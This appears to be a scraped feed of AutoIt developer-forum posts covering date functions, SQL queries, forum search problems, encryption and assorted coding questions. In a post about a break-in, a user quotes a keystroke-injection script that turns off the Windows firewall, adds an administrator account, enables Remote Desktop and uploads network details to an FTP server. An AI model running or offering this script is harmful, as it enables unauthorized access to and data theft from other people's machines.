Quantcast
Channel: AutoIt v3 - Developer Chat
Viewing all 750 articles
Browse latest View live

_Date... Functions

$
0
0

A little earlier I opened a new Track ticket: #3002.
Now I see that it could use some discussion.

I would like to move the debate here, so as not to clutter up the Track.

I agree with @jchd about remark in helpfile

BTW, this important remark about allowable date formats would be better placed in the $Date parameter description: "Input date in the format YYYY/MM/DD[ HH:MM:SS]" --> "Input date in any format described in _DateTimeSplit()".


and fully agree about delimeter in output date format

Sorry for the noise, but yes I still find it would be natural to expect the function to return dates under the same format used for input.


because this is very handy for MS SQL dates.


I want to propose a change to Attached File  _DateAdd.au3   3.54KB   1 downloads

I only added:

; Get Date Delimeter Char Local $sDateDelimeter = StringMid($sDate,5,1)

and changed:

; Format the return date $sDate = $asDatePart[1] & $sDateDelimeter & StringRight("0" & $asDatePart[2], 2) & $sDateDelimeter & StringRight("0" & $asDatePart[3], 2)

Edit:

feel free to say what you think about this.

 

Best regards,

mLipok


Maps + With/EndWith

$
0
0

Should I make a feature request to make With/EndWith compatible with maps?  Or does this not make any sense at all?

Func _rect_from_points(Const $a1, Const $a2, Const $b1, Const $b2)     Local $mRect[]     $mRect.Left = ($a1 < $b1) ? $a1 : $b1     $mRect.Top = ($a2 < $b2) ? $a2 : $b2     $mRect.Width = ($b1 > $a1) ? ($b1 - $mRect.Left) : ($a1 - $mRect.Left)     $mRect.Height = ($b2 > $a2) ? ($b2 - $mRect.Top) : ($a2 - $mRect.Top)     Return $mRect EndFunc

compared to:

Func _rect_from_points(Const $a1, Const $a2, Const $b1, Const $b2)     Local $mRect[]         With $mRect         .Left = ($a1 < $b1) ? $a1 : $b1         .Top = ($a2 < $b2) ? $a2 : $b2         .Width = ($b1 > $a1) ? ($b1 - .Left) : ($a1 - .Left)         .Height = ($b2 > $a2) ? ($b2 - .Top) : ($a2 - .Top)     EndWith     Return $mRect EndFunc

Going a little bit more into outer space.  How about a new feature that I have dubbed anonymous maps?

Func _rect_from_points(Const $a1, Const $a2, Const $b1, Const $b2)      With []         .Left = ($a1 < $b1) ? $a1 : $b1         .Top = ($a2 < $b2) ? $a2 : $b2         .Width = ($b1 > $a1) ? ($b1 - .Left) : ($a1 - .Left)         .Height = ($b2 > $a2) ? ($b2 - .Top) : ($a2 - .Top)                 Return . ; or Return [] ; or maybe Return .[] ??     EndWith EndFunc

How to run and return this Multiple variables query?

$
0
0

I would like to simplify this multiple queries into one script.

 

----The First Query

--- This is a example of how I will run the single query then I will go to step2

SELECT *
FROM [dbo].[DWXP050]
WHERE intcov LIKE '
%epl%'

-- Result will look like this

id        POLICY           EFFDTE
9361343  CMPNE08929  20091101


 

 

 

 

----The second Query. I input manually the data from the first query.

 

BEGIN

DECLARE @ResultsTable TABLE (ColumnName nvarchar(200), ColumnValue nvarchar(100))

DECLARE @ColumnName nvarchar(128), @SearchStr2 nvarchar(110),@TableName nvarchar(256), @TableName2 nvarchar(256)

DECLARE @PolicyPrefix nvarchar(5), @PolicyID nvarchar(10), @PolicyEffDate date

--SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

SET @TableName = ' '

--These values are used to  search

SET @PolicyPrefix = 'CMPMO'       ------notices it only the policy letter part from the search result

SET @PolicyID = '08929'           ------notices it only the policy number part from the search result

SET @PolicyEffDate = '2009-04-01' ------notices it has dashes from the search result

 

SET @SearchStr2 = (SELECT [SystemAssignId] FROM PDCDBPRD.dbo.[CoPolicyPointer]

WHERE [PolicyPrefixCd] = @PolicyPrefix

AND [PolicyId] = @PolicyID

AND [PolicyEffDt] = @PolicyEffDate)

 

WHILE (@TableName IS NOT NULL) BEGIN

SET @ColumnName = QUOTENAME('SystemAssignId')

SET @TableName = (

SELECT MIN(QUOTENAME(TABLE_NAME))

FROM PDCDBPRD.INFORMATION_SCHEMA.TABLES

WHERE TABLE_TYPE = 'BASE TABLE'

AND QUOTENAME(TABLE_NAME) > @TableName

)

 

SET @TableName2 = 'PDCDBPRD.dbo.' + @TableName

 

IF @ColumnName IS NOT NULL BEGIN

INSERT INTO @ResultsTable

EXEC(

'SELECT ''' + @TableName + ''', LEFT(' + @ColumnName + ', 100)

FROM ' + @TableName2 + ' (NOLOCK) ' +

' WHERE ' + @ColumnName + ' LIKE ''' + @SearchStr2 + ''''

)

END

 

END

SELECT DISTINCT ColumnName, ColumnValue FROM @ResultsTable

END

 

GO

 

Search fails since forum upgrade

$
0
0

Generally speaking, I'm aware of the recent forum upgrade ... and of the turmoil that proceeded it.  But has anyone reported that Advanced Search no longer returns proper results?

 

For the first day or two, I figured it was something out of sync on my end.  So I cleared cookies, logged out, etc.  And I've kept watch for some report of this by others.

 

But now that it continues to fail, I'm beginning to think that maybe some index didn't get rebuilt on the server.

 

Any news or ideas?

 

Search Failure.PNG

Forum search results issue

$
0
0
When I search something then the results are not up-to-date.

E.g. if you search for "UEZ", sorted by Last Update Time, then the first result is from 23. Feb. 2015.


Seems that the indexing or something else not working properly.

Enterprise Password Management

$
0
0

I have a customer that has been using Citrix's Single Sign-On for a number of years, and has resisted my efforts to upgrade them to another product, even after learning it was EOL. This past weekend they did an upgrade to A.D., to 2012, which Citrix said would likely break the product (they were right!), so now they want to rush and find a replacement. I am curious if anyone has had experience with Enterprise-level tools. I'm not looking for open source or small desktop apps (keePass, etc.), I am looking for your Gartner magic quadrant, central management, preferrably web-based tools. I would be appreciative of any experiences anyone would like to share, good or bad. Below is a list I am looking at right now:

 

  • LastPass Enterprise - Good price point ($18/user/year), but I have heard that it is very chatty
  • RoborForm Enterprise - Even Cheaper, but I am unfamiliar with it.
  • Imprivata - Expensive! Does everything, but very complex to configure and manage.

Workbook vs Worksheet (Excel)

$
0
0

I've started to write a little class in C# for using Excel in a project.

 

Looks simple enough, but I'm not sure about the difference between a workbook and worksheet.

 

In _Excel_RangeRead if you do not pass a worksheet, it gets one from the workbook you pass, and processes that?

 

What is the difference between the two?

SQL multiple columns from one

$
0
0

Hello!

 

I tried to post my question to stackoverflow, but couldn't (unknown error massage) and w3school, but i still need to be validated there to ask.

 

I'm trying to create a query (in SQL developer), which retruns the number of emission classes of cars, grouped by country codes. I can create it for one emission class like this:
 
  SELECT       DISTINCT country_code,       COUNT(emission_class) EURO0     FROM       DB.CUSTOMER_VEHICLE     WHERE emission_class = 'E0'     GROUP BY country_code;
My problem that I don't know how to count for a new column for example EURO1 emission class, from the same column (emission_class). I thought that I should create views and then add them togeather, or UNION 6 different selects. Tried with where and having clauses.
 
I always seems to run into some kind of a problem, then i realize that when I'm not sure how to start something properly, I should ask/research it first, so here I'm.
 
Thank you for the insight! (sorry still quite fresh with SQL, thank god I haven't paid anything for university, the internet is actually way better :) )

Fighting what seems a losing battle at the moment. Hacker vs me and I'm lost

$
0
0
39

I owned a internet service provider service for a number of years and in 1996 Some guys from Russia and China came calling with a brief appearance from a group in Sweden of all places. It was a 6 month battle. Short for a war, but after much grief on both sides I was able to remove the swine and cast them over the cliff's to their death. Yes it was a Windows NT Server farm and I had just started moving to Unix.

 

Now with just a couple XP and Win7 boxes I play around with things to attempt to keep my brain from, stagnating although my daughter says it is way to late to prevent that.

The issue is something got through many layers of firewalls, virus and  malware programs. I thought I has cast it asunder at least 10 times now. However I0 minutes ago I see in my Monitor folder/drive changes. Windows Trusted Installer has determined .... and then a few seconds later a new NTDmini.DAT file is generated.

 

now after trying to log port sniffers and TCP-UDP end point and so on it is very hard to see anything when there are over 200 people hitting to your computer within a second or two.  The only thing I have found that helps is to block 65,000+ ports and only leave 6 to 12 ports open.

 

The attackers latest attempt was from hidden IP addresses. 233.216.xxx,xxx and a non existent domain www.niser.org

ntdll.dll!RtlRegisterThreadWithCsrss+0x197    01A90000    01A8E000    00002000    7FFDD000     0025E414 0025E4BC  -> 2015-03-24    11:12:57:072    2268    ef8    Misc      = Module: C:\Windows\system32\  DETAIL -  7 user registry handles leaked from \Registry\User\S-1-5-21-3132887318-2642499473-540075541-1000: Process 1340 (\Device\HarddiskVolume2\Windows\System32\svchost.exe) has opened key \REGISTRY\USER\S-1-5-21-3132887318-2642499473-540075541-1000\Software     HKLM\SYSTEM\ControlSet001\Control\Session Manager    PendingFileRenameOperations    REG_MULTI_SZ    \??\C:\Users\xxxxxx\AppData\Local\Temp\{74E401B6-9F16-4CCF-8559-B1A38CC7B5B7}\fpb.tmp;;\??\C:\Users\xxxxxxx1\AppData\Local\Temp\{74E401B6-9F16-4CCF-8559-B1A38CC7B5B7};;;    3/26/2015 6:32:16 PM    171    

Anyway I am wondering how to stop all traffic other than traffic from a specific web page domain or require a ALLOW access to this content.  I will kill this but want something to fight back with. There has to be a way to actually close a port and lock the darn door,

 

Example here that this is happening.

Plain Text         
Target: Windows 7 Description: Script for turning off the firewall, adding a user, making it an administrator, enabling remote access and sending (by FTP) the IP number to a server of your choice, then deleting the file. DELAY 2000 ESCAPE CONTROL ESCAPE DELAY 400 STRING cmd DELAY 400 CTRL-SHIFT ENTER DELAY 400 STRING netsh firewall set opmode mode=disable ENTER DELAY 400 STRING ALT y ENTER DELAY 400 STRING net user /add username password ENTER DELAY 400 STRING net localgroup administrators username /add ENTER DELAY 400 STRING reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f ENTER DELAY 400 STRING reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f ENTER DELAY 400 STRING sc config TermService start= auto ENTER DELAY 400 STRING net start Termservice ENTER DELAY 400 STRING cd %USERPROFILE% ENTER DELAY 400 STRING ipconfig /all > number.txt ENTER DELAY 400 STRING ftp -i ftp server ENTER DELAY 400 STRING login name ENTER DELAY 400 STRING login password ENTER DELAY 600 STRING prompt ENTER DELAY 400 STRING prompt ENTER DELAY 400 STRING PUT number.txt ENTER DELAY 2000 STRING bye ENTER DELAY 400 STRING del number.txt ENTER DELAY 400 ALT SPACE STRING c

So sorry I know this is not anyone's problem. Unless it happens to you. The code posted if from a Gov admin that caught after it was posted to a forum. There was some kind of Stopping or disabling the BFE service in the top of the script (i did not receive that part). He did test it and was blown away because it worked and he gained access to another departments computers. *so i was told*

 

If there is something that can point me in the direction to restrict TCP/UDP i would be grateful.

Site link in exe comments

$
0
0

Just wondering how long AutoIt has been adding a URL to this website in the developer metadata comments of compiled scripts, and how to remove it.

 

Subsystem    Version5.1
LinkerVersion    11.0
ImageVersion    0.0
FileVersionNumber    0.0.0.21
UninitializedDataSize    0
LanguageCode    English (British)
FileFlagsMask    0x0000
CharacterSet    Unicode
InitializedDataSize    635392
MIMEType    application/octet-stream
Subsystem    Windows GUI
FileVersion    0.0.0.21
TimeStamp    2015:03:26 19:48:35+01:00
FileType    Win32 EXE
PEType    PE32
FileDescription    Custom
OSVersion    5.1
FileOS    Win32

 

 

 

EDIT:

 

After further testing, it appear the comments are only added if you use Au3 wrapper.

 

Adding...

...is enough to get the comments added, if you do not use Au3 wrapper at all, they are not present.

 

https://www.virustotal.com/en/file/48487afe3c0cb60214845447114d52dedf9c728481354c3a3266edbf2f7418b1/analysis/1427503108/

 

file detail tab.

 

EDIT2:

 

Using #pragma directives instead seem to remove the comment.

https://www.virustotal.com/en/file/85e61a46f7e3bcf5c07f1a157147a8cc4fcee4bb65133859b265ed369c300d8a/analysis/1427504086/

New function for Autoit ?

$
0
0

Hi team,

 

I'm back in the forum after all lost of years o:)

I started with Autoit at the beginning and i still use it almost every days

i'm not sure i'm in the good place but i propose a new function for autoit

Why not addind in the drive mapping place a function like "MapFolder" using "Subst" function from microsoft ?

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/subst.mspx?mfr=true

To drive a folder as a drive letter...

 

exemple :

Run(@ComSpec & " /c " & 'subst D: "C:\My Folder"', "", @SW_HIDE)    ; Mapp the folder "C:\My Folder" with letter "D:\" mapping drive ;Run(@ComSpec & " /c " & 'subst D: /d', "", @SW_HIDE)    ; Command for removing the mapping

with a syntax like :

FolderMapAdd ( "Mapping letter", "remote folder")

 

I'm happy to see you Again

Best regards

Marc

 

PS: Just a question about mapping a drive

I have map a network like "//Network/folder1/folder2/....folderxxx" with a letter "X:\" but in Explorer the drive mapped appear like X:\ (//Network/folder1/folder2/....folderxxx)

I have changed the name with mouse right clic and rename it X:\ (My network) but is there a command or a script to do it automatically ?

Thank you for your answer ;)

Problem accessing Toggle PropertyID

$
0
0

junkew

I've been researching pretty extensively through your wrapper examples and concepts in order to automate a program I am working with and have come across a snag.

I'm hoping you can help me out with this. 

 

If I use inspect I can see  the toggle state is clearly off. 

 

inspect.png

 

Unfortunately, if I use SimpleSpy I see this.

 

simplespy.png

 

 

This State does not change whether the button is enabled or disabled.  Therefore, this number is unusable.

TogglePattern is set to False.  So I'm thinking it's not detecting the toggle state at all.

I can access the Toggle ID but the result is as expected (2).  It's not seeing what inspect.exe is seeing.

This is the code I'm using.

autoitToggle.png

 

From the SDK I only pulled Inspect.exe, so I'm going to try installing the entire SDK to see if that updates any of the drivers the wrapper is using.

Until then I hope you can contact me with any possible ideas.

 

Thanks In Advance

 

 

[Solved] SQL/ite syntax error

$
0
0

Can anyone see what is wrong with this table creation string?

SQL = CREATE TABLE DEFAULT (REF INT, TIME VARCHAR (8), Prok VARCHAR (40), DATE VARCHAR (30), Izzz INT, Core DOUBLE, Cold VARCHAR (24), Hot VARCHAR (24));

Also tried

SQL = "create table default(Ref int, Time varchar(8), Proc varchar(40), Date varchar(30), Izzz int, Core double, Cold varchar(24), Hot varchar(24))";

And

SQL = "create table default(Ref int,Time varchar(8),Proc varchar(40),Date varchar(30),Izzz int,Core double,Cold varchar(24),Hot varchar(24))";

And a number of of other variations including changing varchar to char.

 

Error says "syntax error near default"

Using: Microsoft.XMLHTTP / MSXML2.XMLHTTP.3.0 / Winhttp.winhttprequest.5.1

$
0
0

Is there any difference in using one of the following objects:

; Global $g__sClassName = 'Winhttp.winhttprequest.5.1' ; Global $g__sClassName = 'MSXML2.XMLHTTP.3.0' Global $g__sClassName = 'Microsoft.XMLHTTP'
 

Local $oXmlHttp = ObjCreate($g__sClassName)

 

mLipok

 

SQLdeveloper REGEX_LIKE

$
0
0

Hi! anyone with some oracle SQL experience?

 

I want to join 2 tables, where the only possible join is by two different columns. Column A is a twelve character long number, while the other (  B  ) is a two character long number. They can ba joined, because A is like .BB......... , So the 2. and 3. char is taken from B (and in no other cases this is possible).

 

I think I should be able to use REGEXP_LIKE but how do I use column data in this function? '.column_name.........' isn't working naturaly. I tried to look around but I'm stuck now. The best would be if I can use the column name in the regex. I thought about manually entering the possible number combinations, but that wold require updates, and I can't allow that.

 

Thank you for your time!


For what purpose is _Crypto_DeriveKey?

$
0
0

I've recently started working with the encryption functions.  I'm able to encrypt and decrypt files just fine.  But I keep noticing references to _Crypto_DeriveKey.  Yet I can't find any explanation of how it fits in.  And the description from msdn isn't any help (to me):

 

 

The CryptDeriveKey function generates cryptographic session keys derived from a base data value. This function guarantees that when the same cryptographic service provider (CSP) and algorithms are used, the keys generated from the same base data are identical. The base data can be a password or any other user data.

 

 

What are the intended uses?

 

Any help will be appreciated.

Translate C# to Autoit

$
0
0

Some time ago i had created a function in C# and i need it know for a project i am working on in Autoit.
The code looks like this


Plain Text         
static void _Stream(string sUrl, string existingFilename)  {             HttpWebRequest webRequest;             HttpWebResponse webResponse;             IWebProxy proxy = null; //SA???             FileStream fs = null;             try   {                 string fname = existingFilename;                 if (fname == null)                     fname = ConvertUrlToFileName(sUrl);   No need translation                 webRequest = (HttpWebRequest)WebRequest.Create(sUrl);                 long preloadedLength = GetExistingFileLength(fname); No need translation                 if (preloadedLength > 0)                     webRequest.AddRange((int)preloadedLength);                 webRequest.Proxy = proxy;                 webResponse = (HttpWebResponse)webRequest.GetResponse();                 fs = new FileStream(                     fname, FileMode.Append, FileAccess.Write);                 long fileLength = webResponse.ContentLength;                 Stream strm = webResponse.GetResponseStream();                 int arrSize = 10 * 1024 * 1024; //SA???                                 byte[] barr = new byte[arrSize];                 long bytesCounter = preloadedLength;                 string fmtPercent = string.Empty;                 while (true)   {                     int actualBytes = strm.Read(barr, 0, arrSize);                     if (actualBytes <= 0)                         break;                     fs.Write(barr, 0, actualBytes);                     bytesCounter += actualBytes;                     double percent = 0d;                     if (fileLength > 0)                         percent =                             100.0d * bytesCounter /                             (preloadedLength + fileLength);                 }              }   catch (Exception e) {                 //do nothing             }   finally {                 if (fs != null) {                     fs.Flush();                     fs.Close();                 } //if             }         }

Can someone help me translate this code to autoit. I gave it a try but it was a total failure so i am not willing to share it here...

count fast occurence of a char in a (very long) string

$
0
0

The little assembly code posted here by Tekk to count how many @LF there are in a string is very fast.

It can be easly modified to count any other char instead of only a @LF in this way:

AutoIt         
#include <Memory.au3> Local $sString, $char For $i = 1 To 100000     $sString &= "This line is line " & $i & @CRLF Next $char = "i" MsgBox(0, 'Count of "' & $char & '"', 'There are ' & StringCountChar($sString, $char) & ' occurrences of the char "' & $char & '"') Func StringCountChar(ByRef $g_sString, $sCHR)     Local $pCountLF = _MemVirtualAlloc(Null, 25, $MEM_COMMIT, $PAGE_EXECUTE_READWRITE)     $sCHR = StringLeft($sCHR, 1)     DllStructSetData(DllStructCreate("BYTE[25]", $pCountLF), 1, "0x" _              & "8B4C2404" _     ;~     mov  ecx, dword[esp+04h]              & "31C0" _     ;~     xor  eax, eax              & "8A11" _     ;~  @@:mov  dl, byte[ecx]              & "80FA00" _     ;~     cmp  dl, 00h              & "7409" _     ;~     je   @f              & "41" _     ;~     inc  ecx              & "80FA" & Hex(Asc($sCHR), 2) _     ;~     cmp  dl, NNh <-- modified here              & "75F3" _     ;~     jne  @b              & "40" _     ;~     inc  eax              & "EBF0" _     ;~     jmp  @b              & "C20400" _     ;~  @@:ret  4             )     Local $nResult = DllCallAddress("INT", $pCountLF, "STR", $g_sString)[0]     _MemVirtualFree($pCountLF, 0, $MEM_RELEASE)     Return $nResult EndFunc   ;==>StringCountChar

That's all.

 

edit:

added ByRef to $g_sString in function

Old Scite4Autoit Versions

$
0
0

Hello,

is there an archive where I can download old Scite4Autoit versions?

 

I need the version 3.4.0 (01/22/2014) or below.

 

Thank you :)

Shortened S-Box

$
0
0

Hi there, i am currently using an encryption of AES or one of the examples and i was wondering is there a short handed version of the S-Box and the inverse S-Box?

My S-Box and the Inverse S-Box are posted below. Can someone post their code so their is a shortened version. 

 

S-Box

        Local $abSBox[256] = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0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